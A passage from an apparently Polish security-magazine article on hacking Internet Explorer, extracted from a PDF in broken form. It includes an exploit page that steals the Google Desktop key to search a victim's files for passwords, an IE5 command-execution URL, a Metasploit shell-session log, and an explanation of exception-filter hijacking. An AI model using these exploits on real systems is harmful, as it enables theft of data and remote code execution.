przeglądarka  używając  wygenero-
wanego  przez  serwer  klucza  łączy 
się z nim. Jeśli klucz okaże się błęd-
ny  lub  nie  będzie  go  wcale,  GDS 
nie pozwoli na wykonanie żadnego 
zapytania i zwróci komunikat błędu. 
W takim wypadku jedyną rzeczą do 
jakiej przeglądarka będzie miała do-
stęp, będzie obrazek w formacie .gif 
– logo Google.

Google  zintegrowało  po  za  tym 

GDS  z  jej  sztandarową  wyszuki-
warką  na  google.com.  Po  insta-
lacji  GDS,  pojawi  się  nowy  link  w 

google.com  nad  polem  zapytania. 
Link  nazwany  został  Desktop.  Link 
prowadzi  do  adresu  URL  lokalne-
go  serwera  i  zawiera  klucz.  Dzię-
ki  temu  użytkownik  będzie  mógł 
przejść  do  wyszukiwania  lokalnych 
plików,  nie  zauważając  nawet,  że 
opuszcza  stronę  Google.  Link  „de-
sktop” w zasadzie nie pochodzi na-
wet od Google, ale jest wstrzykiwa-
ny przez GDS poprzez plugin prze-

Rysunek 7. 

Internet Explorer 7 z zakładkami

Rysunek 8. 

Popularność Internet Explorera

0%

1996

1998

2001

2002

2004

2006

20%

40%

60%

80%

100%

background image

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

49

glądarki – jak tylko ta stwierdzi, że 
odwiedzana jest strona Google. Ma 
to  zapobiegać  wycieknięciu  klucza 
na zewnątrz.

W celu wykorzystania luki z GDS 

atakujący  musi  najpierw  zdobyć 
klucz.  Bez  niego  ciężko  uzyskać 
byłoby dostęp do lokalnego serwera. 
Jak  wspomniałem  wcześniej,  klucz 
występuje w linku na stronie Google, 
więc to jest właśnie miejsce z którego 
można go przechwycić poprzez uży-
cie ataku 

CSSXSS

. Z uwagi na projekt 

stron  Google,  przechwycenie  linku 
nie będzie możliwe na większości ich 
stron. Mimo to jednak istnieje albo ist-
niał sposób wykorzystujący link, który 
może  zostać  zwrócony  przez  stronę 
Google  News,  na  news.google.com
Należy  wstrzyknąć  nawiasy  klamro-
we w zapytanie. Następnie wystarczy 
wydobyć  klucz  za  pomocą  wyrażeń 
regularnych i importu CSS na adresie 
z  lokalnego  serwera  .  Można  dodać 
także do zapytania nawias klamrowy 
"{" by wyniki wyświetlone zostały tak-
że  we  własności  „cssText”  po  spar-
sowaniu  przez  CSS.  Ten  znak  jest 
ignorowany przez silnik wyszukiwarki 
i nie ma wpływu na wyniki.

Przykład ten pełni spatchowanym 

Internet  Explorerem  (z  domyślnymi 
ustawieniami zabezpieczeń i prywat-
ności) oraz z Google Desktop v2. Nie 
zadziała  z  innymi  przeglądarkami, 
chyba, że są to pochodne IE. Wyniki 
mogą także być różne w zależności 
od wersji językowej i projektu strony 
Google  News  i  zawartości  dysku 
ofiary  (oraz  prawdopodobnie  wersji 
językowej GDS).

Atak#2 Zdalne 

wykonywanie kodu

Dobrze  znamy  komunikat  ze  słowa-
mi  unhandled  exception  pojawiający 
się w różnych okolicznościach w sys-
temie Windows. Błędy o których infor-
muje  mogą  pozwalać  na  wykonanie 
odpowiednio  przygotowanego  kodu. 
Dla  atakującego  najważniejsze  jest 
zdobycie wówczas kontroli nad filtrem 
takich wyjątków. Od wersji SP2 poja-
wiły się pewne zabezpieczenia co do 
kontroli takich wyjątków, jednak mimo 
tych  usprawnień,  które  mierzą  bez-
pośrednio  w  uniemożliwienie  kontroli 

Listing 1. 

Wykorzystanie słabości Internet Explorera i Google Desktop

<

html

>

  

<

head

>

    

<

title

>

Wykorzystanie

 

slabosci

 

Internet

 

Explorera

 

i

 

Google

 

Desktop

<

/

title

>

   

<

style

 

type

=

"text/css"

>

  

   @

import

 

url

(

"http://news.google.com/news?hl=en&ned=pl&q=%7D%7B"

);

   

<

/

style

>

  

<

/

head

>

 

<

body

>

  

<

h2

>

Wykorzystanie

 

slabosci

 

Internet

 

Explorera

 

i

 

Google

 

Desktop

<

/

h2

>

  

  <

br

><

center

>

  

Przetrawiony

 

kod

 

HTML

 

zaimportowany

 

poprzez

 

CSS

 

z

 

Google

 

News

.

  W

 

tym

 

wypadku

 

link

 

do

 

lokalnej

 

maszyny

:<

br

>

  

<

textarea

 

rows

=

"26"

 

cols

=

"70"

 

id

=

"nowesssrc"

><

/

textarea

>

  

<

p

>

  

Klucz

 

z

 

Google

 

Desktop

 ś

ci

ą

gni

ę

ty

 

z

 

linku

:<

br

>

  

<

input

 

type

=

"text"

 

size

=

"50"

 

id

=

"klucz"

>

  

<

p

>

  

Wyniki

 

z

 

Google

 

Desktop

 

na

 

lokalnej

 

maszynie

 

dla

 

s

ł

owa

 

"password"

  w

 

surowym

 

HTML

 

po

 

przetworzeniu

 

CSS

:<

br

>

  

<

textarea

 

rows

=

"24"

 

cols

=

"90"

 

id

=

"wyniki"

>

  Prosimy

 

czeka

ć 

na

 

wyniki

<

/

textarea

>

  

<

p

>

  

Oryginalna

 

strona

 

komunikatu

 

Google

 

Desktop

 

z

 

maszyny

 

lokalnej

:<

br

>

  

<

iframe

 

width

=

"500"

 

height

=

"250"

 

id

=

"strona"

><

/

iframe

>

  

<

p

>

  

<

script

>

 

 // Pokazujemy wyniki zapytania google desktop

  

function

 

showResults

()

  

{

  

document

.

getElementById

(

"wyniki"

)

.

innerText

 

=

  document

.

styleSheets

(

0

)

.

imports

(

1

)

.

cssText

;

    

  

}

 

 // Pokaz sparsowany CSS kod HTML z importu z Google News 

  

document

.

getElementById

(

"nowesssrc"

)

.

innerText

 

=

  document

.

styleSheets

(

0

)

.

imports

(

0

)

.

cssText

;

 

 // Wyrazenie regularne parsujace klucz z wynikow importu CSS

  

var

 

re

 

=

 

new

 

RegExp

(

"127.0.0.1:4664/search&s=(.+?)

\?

q"

);

  

var

 

reRes

 

=

 

re

.

exec

(

document

.

styleSheets

(

0

)

.

imports

(

0

)

.

cssText

);

  

if

 

(

reRes

)

  

{

  

// Pokaz sparsowany klucz

  

document

.

getElementById

(

"klucz"

)

.

innerText

 

=

 

reRes

[

1

];

  

// Polacz poprawny klucz z adresem lokalnego serwera 

  

i

 

dodaj

 

zapytanie

 

o

 

haslo

 

do

 

linka

  

var

 

searchURL

 

=

 

"http://127.0.0.1:4664/search&s=

  "

 

+

 

reRes

[

1

]

 

+

 

"q=%7Bpassword"

;

  

// Dodaj zaimportowane CSS do tworzonego URLa

  

document

.

styleSheets

(

0

)

.

addImport

(

searchURL

);

  

// Pokaz strone wyszukiwania w ramce

  

document

.

getElementById

(

"strona"

)

.

src

 

=

 

searchURL

;

  

// Poczekaj kilka sekund ze strona z wynikami

  

setTimeout

(

'

showResults

()

', 

5000

);

  

}

  

else

  

{

  

// Jesli nie uda sie sparsowac klucza, pokaz blad

  

document

.

getElementById

(

"klucz"

)

.

innerText

 

=

  "nie moge pobrac linku Google Desktop"

;

  

document

.

getElementById

(

"wyniki"

)

.

innerText

 

=

  "Nie moge pobrac wynikow Google Desktop"

;

  

}

  

<

/

script

>

 <

/

body

>

<

/

html

>

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

50

filtra,  wciąż  można  zdobyć  kontrolę 
nad  filtrem  na  wyższych  poziomach. 
Jest to możliwe dzięki skorzystaniu z 
dziury  projektowej,  a  dokładniej  spo-
sobu w jaki filtry wyjątków zostały ze 
sobą powiązane. Takie podejście ma 
swoje ograniczenia, które polegają na 
tym,  że  atakujący  może  kontrolować 
jedynie powiązania między filtrami jak 
ładowanie i zwalnianie bibliotek. Najła-
twiej  skorzystać  z  tego  w  przypadku 
Inernet Explorera.

To,  że  dziury  można  podzielić  na 

te, które pozwalają na wykonanie ko-
du i takie, które na to nie pozwalają, 
pozwala  stwierdzić,  czy  dana  dziura 
może  zostać  wykorzystana  przez 
atakującego  czy  nie.  Jednak  wiele 
z  tych  pierwszych  dziur  jest  niegroź-
nych w związku z tym, że w ogóle nie 
mają do czynienia z buforem pamięci. 
Z drugiej strony wiele z nich okazuje 
się później dopiero dziurami które na 
atak pozwolą. 

W  związku  z  tym  warto  rozwa-

żać  czy  dana  dziura  może  w  jakim-
kolwiek  kierunku  wpływać  na  możli-
wość  wykonania  kodu  przy  pomocy 
innej aplikacji. Dla przykładu, wywo-
łanie NULL pointer  spowoduje naru-
szenie praw dostępu i zarządca kry-
tycznych wyjątków odpowiednio zare-
aguje – pod warunkiem, że ma na to 
odpowiednią instrukcję. Jeśli żaden z 
zarządców nie wie co z takim fantem 
zrobić, wywołany zostanie filtr wyjąt-

ków  najwyższego  poziomu  (unhan-
dled  exception  filter  –  UEF).  Wywo-
ła  go  kernel32!

UnhandledException-

Filter

 (jeśli został ustawiony). Po za 

tym mechanizmem, mnie ma tu wie-
lu kontrolowalnych dróg którymi mo-
że  podążać  atakujący,  bez  spełnie-
nia innych warunków. Dlatego najlep-
szym miejscem na szukanie tego ty-
pu luk jest w samym procesie zarzą-
dzania wyjątkami. 

Pierwszym  etapem  zarządzania 

bądź dystrybucji wyjątków jest wywo-
ływanie zarejestrowanych dla danych 
wyjątków wątków. Pozwala to stwier-
dzić,  które  wyjątki  są  kontrolowane 
i  w  jaki  sposób.  Jeśli  żaden  z  z  za-
rejestrowanych  wyjątków  nie  może 
być prze kierowany, należy poszukać 
metody na prze kierowanie zarządcy 
wyjątków  lub  jego  filtra.  Można  tego 

dokonać poprzez zmianę wskaźnika, 
by  ten  wywoływał  określony  przez 
nas  kod.  Jednak  od  SP2  jest  to 
znacznie trudniejsze. Nie jest już tak 
łatwo  nadpisywać  zmienną  globalną 
zawierającą UEF górnego poziomu.

W  celu  umożliwienia  aplikacjom 

obsługi  wyjątków  ,  zarządca  dostar-
cza  interfejs  do  ich  rejestracji.  Dzię-
ki  niemu  można  logować  informacje, 
wykonywać odzyskiwanie, obsługiwać 
wyjątki  specyficzne  dla  danego  języ-
ka.  W  celu  określenia  i  zarejestrowa-
nia  wyjątku  można  posłużyć  się:  ker-
nel32!

SetUnhandledExceptionFilter

 

Co działa jak:

LPTOP_LEVEL_EXCEPTION_FILTER 
SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER 
lpTopLevelExceptionFilter
);

W momencie wywołania, funkcja ta 
wskaże argument:

lpTopLevelExceptionFilter

i zakoduje go za pomocą:

kernel32!RtlEncodePointer.

Wynik przechowany zostanie w zmien-
nej globalnej: 

kernel32!BasepCurrentTopLevelFilter

 

i prze kierowana do którykolwiek 

filtra najwyższego poziomu. Zapisa-
na wartość ze zmienną globalną jest 
dekodowana poprzez:

kernel32!RtlDecodePointer

Listing 2. 

A oto przykład innego, załatanego już błędu w IE5, który 

umożliwiał wykonanie, w tym wypadku kodu uruchamiającego notatnik

<

html

>

 <

body

>

  <

script

>

  function

 

Notatnik

()

 

{

 

var

 

url

 

=

 '

res

:

//

mmcndmgr

.

dll

/

prevsym12

.

htm

  #%29%3B%3C/style%3E%3Cscript%20language
  

%

3

D

%

27

jscript

%

27

%

3

Ea

%

3

Dnew

%

20

ActiveXObject

%

28

%

27

  

Shell

.

Application

%

27

%

29

%

3

Ba

.

ShellExecute

%

28

%

27

  

notepad

%

27

%

29

%

3

B

%

3

C

/

script

%

3

E

%

3

C

%

21

-

-//%7C0%7C0

  

%

7

C0

%

7

C0

%

7

C0

%

7

C0

%

7

C0

%

7

C0

'

;

  

document

.

location

 

=

 

url

;

  }

  <

/

script

>

  <

center

>

  Jesli

 

klikniesz

 

na

 

przycisk

 

w

 

przegladarce

 

IE5

 

i

 

nie

 

zainstalowales

 

  latki

 

MS06

-

044

uruchomisz

 

notatnik

<

br

>

  <

br

>

  <

input

 

type

=

'

button

onClick

=

'

Notatnik

()

value

=

'

Uruchom

 

notatnik

'

>

 <

/

body

>

<

/

html

>

Rysunek 9. 

Rejestracja i od rejestrowywanie wyjątków

Rejestracja Wx

SetUnhandledExceptionFilter(Wx) => Ux

Odrejestrowanie Wx

SetUnhandledExceptionFilter(Ux) => Wx

Rejestracja Dx

SetUnhandledExceptionFilter(Dx) => Wx

Odrejestrowanie Dx

SetUnhandledExceptionFilter(Wx) => Dx

Symetria Wx

Symetria Dx

background image

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

51

i zwrócona zgłaszającemu. Kodowa-
nie  i  odkodowanie  wykonywane  jest 
w celu uniemożliwienia  atakującemu 
spowodowania użycia dodatkowej ilo-
ści pamięci w celu prze kierowania. 

Funkcja  kernel32!

SetUnhandledE-

xceptionFilter

  zwraca  wskaźnik  do 

oryginalnego  najwyższego  poziomu 
z  dwóch  powodów.  Po  pierwsze 
dzięki  temu  możliwe  jest  odtworze-
nie  stanu  w  przyszłości,  po  drugie 
możliwe  jest  stworzenie  łańcucha. 
Kiedy  jakiś  blok  kodu  zarejestrował 
wyjątek  w  UEF,  UEF  odjrejestrowu-
je  go.  Robi  tak,  poprzez  ustawienie 
pierwotnej  wartości  w  UEF:  kerne-
l32!SetUnhandledExceptionFilter. 

Powodem  jest  fakt,  że  tak  na-

prawdę  nie  ma  prawdziwej  listy 
wyjątków  kontrolowanej  przez  filtry.  
Metoda od rejestrowywania jest tutaj 
kluczem  dla  atakującego.  Operacje 
rejestracji i od rejestrowywania mu-
szą  być  wykonywane  symetrycznie. 
Przykład ilustruje Rysunek 10.

Jeśli  wyjątek  przejdzie  przez 

wszystkie etapy i nie zostanie zarzą-
dzony,  dystrybutor  wyjątków  dokona 
jeszcze  jednej  operacji  zanim  zmusi 
aplikację do zamknięcia. Jedną z opcji 
jest przesłanie aplikacji do debuggera
jeśli  jest  on  aktywny.  Jeśli  nie,  musi 
obsłużyć  wyjątek  wewnętrznie  lub 
i  zamknąć  aplikację,  jeśli  się  to  nie 
powiedzie. By to umożliwić , aplikacje 
mogą wywołać filtr wyjątków związany 
z  procesem.  W  większości  przypad-
ków rezultat będzie następujący: 

kernel32!UnhandledExceptionFilter

czyli wywołanie instrukcji z informa-
cją o prze kierowaniu wyjątku.

To co faktycznie wykonuje kerne-

l32!

UnhandledExceptionFilter

  to  dwie 

rzeczy.  Po  pierwsze,  w  przypadku 
kiedy  debugger  nie  jest  dostępny, 
wywoła  UEF  najwyższego  poziomu 
w celu zarejestrowania procesu. UEF 
najwyższego poziomu spróbuje obsłu-
żyć  wyjątek,  prawdopodobnie  wzna-
wiając  i  pozwalając  na  dalszą 
pracę  aplikacji,  na  przykład  poprzez: 

EXCEPTION _ CONTINUE _ EXECUTION

.  Jeśli 

to się nie powiedzie, proces zostanie 
zabity,  najprawdopodobniej  poprzez: 

EXCEPTION _ EXECUTE _ HANDLER

  lub  zo-

stanie wyświetlone okno dialogowe ze 
standardowym 

EXCEPTION _ CONTINUE _

SEARCH

 . Jeśli debugger będzie obecny, 

filtr  wyjątków  spróbuje  prze  kierować 
wyjątek  do  debuggera.  W  takim  wy-
padku  UEF  najwyższego  poziomu 
w ogóle nie jest wywoływany. 

Podczas  pracy  w  systemie 

z  nieobecnym  debuggerem  kerne-
l32!

UnhandledExceptionFilter

  spró-

buje zdekodować wskaźnik związany 
z UEF najwyższego poziomu poprzez 
wywołanie: 

kernel32!

RtlDecodePo-

inter

  na  zmiennej  globalnej,  która 

zawiera  UEF  najwyższego  poziomu 
kernel32!kernel32!

BasepCurrentTo-

pLevelFilter

 :

7c862cc1 ff35ac33887c push dword 
ptr [kernel32!
BasepCurrentTopLevelFilter]
7c862cc7 e8e1d6faff   call kernel32!Rtl
DecodePointer (7c8103ad)
Jeśli wartość zwrócona przez kernel32!
RtlDecodePointer jest różna od NULL,
 następujewywołanie do dekodowanego
 właśnie UEF, informacja o wyjątku 
przekazywana jest dalej:
7c862ccc 3bc7  cmp   eax,edi
7c862cce 7415  jz kernel32!UnhandledExc
eptionFilter
+0x15b (7c862ce5)
7c862cd0 53   push  ebx
7c862cd1 ffd0  call  eax

Wartość ta decyduje o tym czy aplika-
cja będzie dalej wykonywana, zosta-
nie przerwana i czy zaraportuje błąd.

W  większości  przypadków,  filtry 

wyjątków  używane  są  do  obsługi 
wyjątków  charakterystycznych  dla 

danego  języka.  Dzieje  się  to  nie-
zauważalnie  dla  programistów.  Na 
przykład  kod  C++  zarejestruje  wy-
jątek  poprzez 

CxxSetUnhandledExcept

ionFilter

  w  czasie  inicjalizacji  CRT 

podczas  ładowania  bibliotek.  Po-
dobnie wyrejestruje wyjątek poprzez 

CxxRestoreUnhandledExceptionFilte
r

  podczas  kończenia  programu  lub 

zwalniania bibliotek.

Przejmowanie kontroli 

nad filtrem krytycznych 

wyjątków

Obecnie jedynym wygodnym sposo-
bem na przejęcie kontroli nad filtrem 
UEF  jest  wymuszenie  wywołań  dla 
kernel32!

SetUnhandledExceptionFil-

ter

 Wynika to bezpośrednio z faktu, 

że zmienna globalna posiada odko-
dowany wskaźnik. Można próbować 
wymuszenie  bezpośredniego  prze-
kierowywania  kodu  do  kernel32!

Se-

tUnhandledExceptionFilter

  jednak 

wymagałoby  to  skorzystania  z  do-
datkowych słabości w aplikacji.

W związku z tymi ograniczeniami 

należy trochę więcej uwagi poświęcić 
samemu procesowi odpowiedzialne-
mu  za  rejestrowanie  i  od  rejestro-
wywanie  wyjątków.  W  związku  ze 
słabością  powiązań  między  filtrami, 
możliwe jest sprawienie, by łańcuch 
stał  się  zupełnie  nieużyteczny  lub 
nieużywalny, co z kolei będzie moż-
na  wykorzystać.  Jedno  z  wymagań 
związanych z z procesem rejestracji 
wyjątków  w  filtrze  najwyższego  po-
ziomu  (UEF).  Jak  wspomnieliśmy, 
jednym z wymagań jest to , by pro-
ces  rejestracji  i  od  rejestrowywania 

Listing 3. 

Skrypt w działaniu:

msf

 

exploit

(

windows

/

browser

/

ie_unexpfilt_poc

)

>

 

exploit

[*]

 

URL

:

 

http

:

//

x

.

x

.

x

.

x

:

8080

/

FnhWjeVOnU8NlbA

   

GAEhjcjzQWh17myEK1Exg0

[*]

 

Uruchomiony

 

Server

.

[*]

 

Exploit

 

dzia

ł

a

 

w

 

tle

.

msf

 

exploit

(

windows

/

browser

/

ie_unexpfilt_poc

)

 

>

[*]

 

Wysy

ł

anie

 

danych

(

474

 

bytes

)

[*]

 

Otwarta

 

sesja

 

pow

ł

oki

 

1

(

x

.

x

.

x

.

x

:

4444

 

->

 

y

.

y

.

y

.

y

:

1059

)

msf

 

exploit

(

windows

/

browser

/

ie_unexpfilt_poc

)

 

>

 

session

 

-

i

 

1

[*]

 

Interakcja

 

rozpocznie

 

si

ę 

za

 

1

...

Microsoft

 

Windows

 

XP

 

[

Version

 

5.1

.

2600

]

(

C

)

 

Copyright

 

1985

-

2001

 

Microsoft

 

Corp

.

C

:

\

Documents

 

and

 

Settings

\

mmiller

\

Desktop

>

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

52

był symetryczny. Pytanie co się sta-
nie, w przypadku jeśli symetryczność 
nie  zostanie  zachowana.  Ilustracja 
takiego  przypadku  znajduje  się  na 
rysunku 11. Jak widać na diagramie 
z rysunku 11, Najpierw rejestrowane 
są Wx i Dx.  Wx jest od rejestrowy-
wane przed Dx, co sprawia, że cała 
operacja  staje  się  niesymetryczna. 
W  wyniku  od  rejestrowywania  Wx 
przed  Dx,  UEF  jest  ustawiony  na 
Ux,  mimo,  że  z  technicznego  puktu 
widzenia Dx powinien być w dalszym 
ciągu częścią łańcucha. Ostatecznie 
Dx od rejestrowywuje się ustawiając 
najwyższy poziom dla Wx, mimo, że 
Wx  został  wcześniej  od  rejestrowa-
ny.  To  oczywiście  błędne  zachowa-
nie,  ale  kod  związany  z  Dx  nie  ma 
pojęcia  o  tym,  że  Wx  już  zostało 
oderejestrowane. 

W  przypadku  takiej  asyme-

trycznej  rejestracji,  atakujący  może 
przejąć  kontrolę  nad  UEF  najwyż-
szego poziomu. Warto zauważyć, że 
dzieje się to w momencie ładowania 
i  zwalniania  bibliotek  DLL.  W  takim 
przypadku  po  od  rejestrowaniu, 
zostanie  zwolniona  biblioteka  zwią-
zana  z  danym  UEF.  TO  z  kolei  zo-
stawi  UEF  ustawione  na  Wx,  które 
wskazuje na błędny obszar pamięci. 
Jeśli wyjątek nastąpi po wystąpieniu 
takiej sytuacji i nie zostanie obsłużo-
ny,  wywołany  będzie  filtr  wyjątków. 
Jeśli nie ma w systemie debuggera, 
nastąpi wywołanie UEF Wx. A sko-
roWx  wskazuje  na  obszar  pamięci, 
nie związany z żadnym DLL, proces 
zostanie w najlepszym wypadku za-
kończony. 

Dla  atakującego  podobna  sytu-

acja jest właśnie tym, na co czekał, 
spróbuje  on  wówczas  wykorzystać 
pamięć  do  przechowania  przygoto-
wanego specjalnie na tę okazję ko-
du. W przypadku wywołania funkcji, 
która  była  w  tym  miejscu  pamięci, 
zostanie  wykonany  kod  atakujące-
go.  Dodatkowo  jedyną  rzeczą  jaką 
atakujący musi zrobić bu funkcja zo-
stała wywołana, jest wygenerowanie 
wyjątku. 

Wszystko to możliwe jest w przy-

padku Internet Explorera. W tym wy-
padku  Internet  Explorer  stanie  się 
sposobem  na  zmuszenie  bibliotek 

DLL  do  załadowania  i  wyładowania. 
Sposobem będzie tutaj obsługa obiek-
tów COM z poziomu przeglądarki. Tak 
jak w poprzednim przykładzie użyjemy 
tutaj  new 

ActiveXObject

 z 

JavaScript

 

lub tagu 

HTML

 

OBJECT

W każdym przypadku w momen-

cie  wywołania  obiektu  COM  zała-
dowana  zostanie  biblioteka  DLL 
związana  z  obiektem  o  ile  obiekt 
utworzymy za pomocą 

INPROC

_

SERVER

W takim przypadku obiekt wywołany 
zostanie 

DllMain

  .  Jeśli  biblioteka 

DLL posiada filtr krytycznych wyjąt-
ków,  może  zostać  zarejestrowana 
podczas  inicjalizacji  CRT.  Dzięki 
temu do momentu kiedy obiekt COM 
jest związany z biblioteką, odpowied-
ni zestaw UEF także będzie obecny.

Niezbędna  jest  także  kontrola 

fazy  od  rejestrowywania.  Trzeba 
zmusić w jakiś sposób do odładowa-
nia DLL. Można to osiągnąć poprzez 
ole32!

CoFreeUnusedLibrariesEx

 

Moment  kiedy  zostaje  wywołana  to 
moment  zamykanie  Internet  Explo-
rera,  a  to  dzięki  DllCanUnloadNow 
,  które  wtedy  przekazywane  są  do 
bibliotek.  Jeśli  zwrócą  one  S_OK, 
jak w przypadku gdy nie ma żadnych 
powiązań z obiektami COM, którymi 
opiekują się biblioteki.

Technika pozwalająca na kontro-

lowanie ładowania i od ładowywania 
bibliotek zilustrowana została na ry-
sunku  12.  Przykład  powyżej  przed-
stawia  dwa  otwarte  okna  ,  każde 
z  nich  jest  otwarte,  każde  zawiera 
zarejestrowane  biblioteki  DLL  im-
plementujące obiekty COM. W przy-
kładzie  pierwsze  okno  przedstawia 
COMObject1 implementowany przez 
DLL #1. Kiedy biblioteka DLL #1 jest 
załadowana, rejestruje UEF Wx naj-
wyższego  poziomu.  Kiedy  zostanie 
to  wykonane,  otwierane  jest  drugie 
okno  z  COMObject2,  powodujące 
załadowanie DLL #2 i jednocześnie 
zarejsestrowanie  UEF,  Dx.  Po  wy-
konaniu tych operacji, DLL #1 i DLL 
#2 wciąż tkwią w pamięci a UEF naj-
wyższego poziomu wskazuje na Dx.

By  przejąć  kontrolę  nad  UEF, 

Wx  i  Dx  trzeba  będzie  spowodować 
niesymetryczne ich wyrejestrowanie. 
Żeby to osiągnąć, DLL #1 musi został 
odładowana  przed  DLL  #2.  Można 

to  osiągnąć  poprzez  zamknięcie 
okna z COMObject1, powodując tym 
samym  wywołanie  ole32!

CoFreeUnu-

sedLibrariesEx

 co spowoduje odłado-

wanie DLL #1. Podążając tym tropem, 
okno z COMObject2 powinno zostać 
zamknięte powodując zwolnienie DLL 
#2. Rysunek 13 przedstawia tę sytu-
ację.  Po  zakończeniu  procesu,  Wx 
stanie się UEF nawet mimofaktu, że 
jego  biblioteka  została  wyładowana. 
Jeśli  teraz  nastąpi  wyjątek,  wywoła 
on funkcję wskazującą błędny obszar 
pamięci.

Atakujący  może  już  przejąć 

kontrolę  nad  filtrem  UEF  najwyż-
szego poziomu, jednak trochę pracy 
trzeba będzie jeszcze poświęcić na 
umieszczenie kodu w miejscu gdzie 
był Wx. Można tego dokonać dzięki 
technice heap-spraying, dosyć zna-
nej  w  przypadku  wykorzystywania 
słabości  przeglądarek.  Celem  tej 
techniki  jest  zużycie  odpowiedniej 
ilości pamięci, co skutkować będzie 
rosnącym  buforem  w  odpowiednim 
miejscu. Spray'owane dane, a w tym 
wypadku  kod  atakującego  spowo-
dują przejęcie kontroli nad wykony-
waniem kodu. Istnieje jednak pewne 
ograniczenie wynikające z faktu, że 
położenie  danych  w  pamięci  może 
nie  być  wystarczająco  bliskie,  by 
można  je  było  praktycznie  wy-
korzystać.  Na  przykład  jeśli  stos 
rośnie  od  0x00480000  a  biblioteka 
zawierająca Wx rezyduje w pamięci 
od  0x7c800000,  wymagane  będzie 
by  umieścić  około  1.988  GB  da-
nych  na  stosie.  Wiadomo  też,  że 
większość  bibliotek  dostarczanych 
przez  Microsoft  jest  skompilowa-
nych w taki sposób by ładować się 
na  wyższych  poziomach  pamięci, 
co  utrydnia  pracę  agresora.  Wiele 
bibliotek  zewnętrznych  producen-
tów skompilowana jest dla adresów 
od 0x00400000, co sprawia że ide-
alnie się tutaj przydają. Dodatkowo 
warto wiedzieć, że jeśli dwie biblio-
teki mają ten sam adres w pamięci, 
to  tylko  jedna  z  nich  zostanie  pod 
nim załadowana. Druga zładowana 
zostanie  pod  niższym  adresem. 
Można dzięki temu zmusić biblioteki 
do ładowania się na niższych adre-
sach, niż preferowane. 

background image

Warto  także  wiedzieć,  że  obiekty 

COM nie muszą być z sukcesem ini-
cjowane, żeby biblioteka DLL została 
załadowana. Jest ona ładowana przed 
sprawdzeniem  obiektu  COM,  w  celu 
umożliwienia Internet Explorerowi czy 
klasa  COM  w  ogóle  może  być  stwo-
rzona. Dzięki temu łatwo ładować tak-
że  dodatkowe  biblioteki.  Powiązanie 
wszystkich tych faktów daje duże pole 
działania dla agresorów. Działa z Win-
dows XP SP2 i najnowszymi wersjami 
Internet Explorera z łatkami do MS06-
051. Przykłąd wymaga zainstalowane-
go Adobe Acrobat. Można także użyć 
dowolnej innej biblioteki zewnętrznego 
producenta.  Skrypt  implementujący 
tę  słabość  jest  częścią  Metasploit 
Framework.

Przyszłość

Technika  ta  może  być  rozwijana.  Tak 
naprawdę  nawet  najnowsza  łątka  nie 
wyklucza możliwości jej stosowania. Na 
przykład zamiast opierać się na oknach 
Internet Explorera, można znaleźć inny 
wektor  wskazujący  ole32!

CoFreeUnu-

suedLibrariesEx

  ,  co  z  kolei  umożliwi 

wywołanie asymetrycznej derejestracji. 
Możliwe jest też opracowanie lepszych 
techik sprayowania na stos.

Można też pomyśleć o serwerze 

IIS  –  jeśli  możliwe  jest  wejście  na 
strony  wywołujące  łądowanie  i  od 
ładowywanie  bibliotek  poprzez  wy-
woływanie obiektów COM, atakujący 
może  przejąć  kontrolę  nad  filtrami. 
Podobnie  Microsoft  SQL  server, 
który łąduje i zwalnia wiele bibliotek 
– możliwe jest prawdopodobnie wy-
konanie ataku SQL Injection, dające-
go kontrolę nad UEF.

Na koniec

Internet Explorer jest bardzo delikat-
ny. Czy zmieni to wersja 7 i Windows 
Vista?    Pokaże  czas.  Tym  czasem 
wykorzystanie delikatności IE by zro-
bić krzywdę nie tylko jej, systemowi 
w którym działa, ale i użytkownikowi 
wydaje się trywialne. Zresztą poka-
zane  sposoby  to  wierzchołek  góry 
lodowej. Dodatkowo, stanowią ideal-
ny punkt wyjścia do dalszych badań. 
Trzeba bowiem wiedzieć, że obecne 
łatki  w  żaden  sposób  nie  zamykają 
im drzwi.

background image

www.hakin9.org

hakin9 Nr 2/2007

54

Obrona

P

rojekt  Clam  AntiVirus  (ClamAV)  to  ze-
staw  narzędzi  antywirusowych  prze-
znaczonych dla systemów uniksowych. 

Rozwijany  jest  przez  międzynarodową  grupę 
kilkunastu deweloperów i dostępny na licencji 
GNU  GPL  v2.  Należy  w  tym  miejscu  zwrócić 
uwagę na to, co wyróżnia go na tle innych pro-
gramów  Open  Source,  czyli  na  potrzebę  cią-
głej aktualizacji – zarówno kodu, jak i baz sy-
gnatur wirusów. W przypadku programów an-
tywirusowych, to właśnie te elementy: oprogra-
mowanie i usługa, odgrywają jednocześnie klu-
czową rolę.

Słowo  clam  w  języku  angielskim  oznacza 

małża.  Czytelnicy,  którym  zdarzało  się  by-
wać na lekcjach biologii, być może zapamięta-
li, że małże należą do zwierząt odżywiających 
się metodą filtrowania: aby przeżyć, muszą w 
efektywny  sposób  filtrować  wodę  w  poszuki-
waniu cząsteczek pożywienia. To krótkie wyja-
śnienie powinno zaspokoić ciekawość dotyczą-
cą nazwy programu.

Podstawowe narzędzia

Oprogramowanie ClamAV stosuje się do zna-
nej uniksowej reguły KISS (ang. Keep it Sim-

ple, Single), stąd w wachlarzu programów do-

starczanych  w  pakiecie  źródłowym  znajdują 
się proste w użyciu i wyspecjalizowane aplika-
cje przeznaczone dla konsoli, na bazie których 
można budować złożone systemy skanujące.

Clamscan

Poręczne narzędzie umożliwiające skanowanie 
plików oraz katalogów bezpośrednio z linii pole-
ceń  to    clamscan.  W  najprostszym  przypadku, 
jego użycie sprowadza się do wskazania nazwy 

ClamAV, czyli jak to robią 

małże...

Tomasz Kojm

stopień trudności

Problem zalewu niechcianej poczty dotyczy nas wszystkich, 

zarówno administratorów systemów, jak i zwykłych użytkowników 

Internetu, który w ostatnich latach stał się łakomym kąskiem 

dla szeroko pojętej branży marketingowej oraz wszelkiej maści 

przestępców, zainteresowanych głównie kilkoma numerami z 

naszych kart kredytowych. 

Z artykułu dowiesz się...

•   jak zbudowany jest Clam AntiVirus,
•   w  jaki  sposób  wykorzystać  bibliotekę  libcla-

mav,

•   w jaki sposób stworzyć własną sygnaturę wiru-

sa dla ClamAV.

Powinieneś wiedzieć...

•   powinieneś  posiadać  podstawową  wiedzę  na 

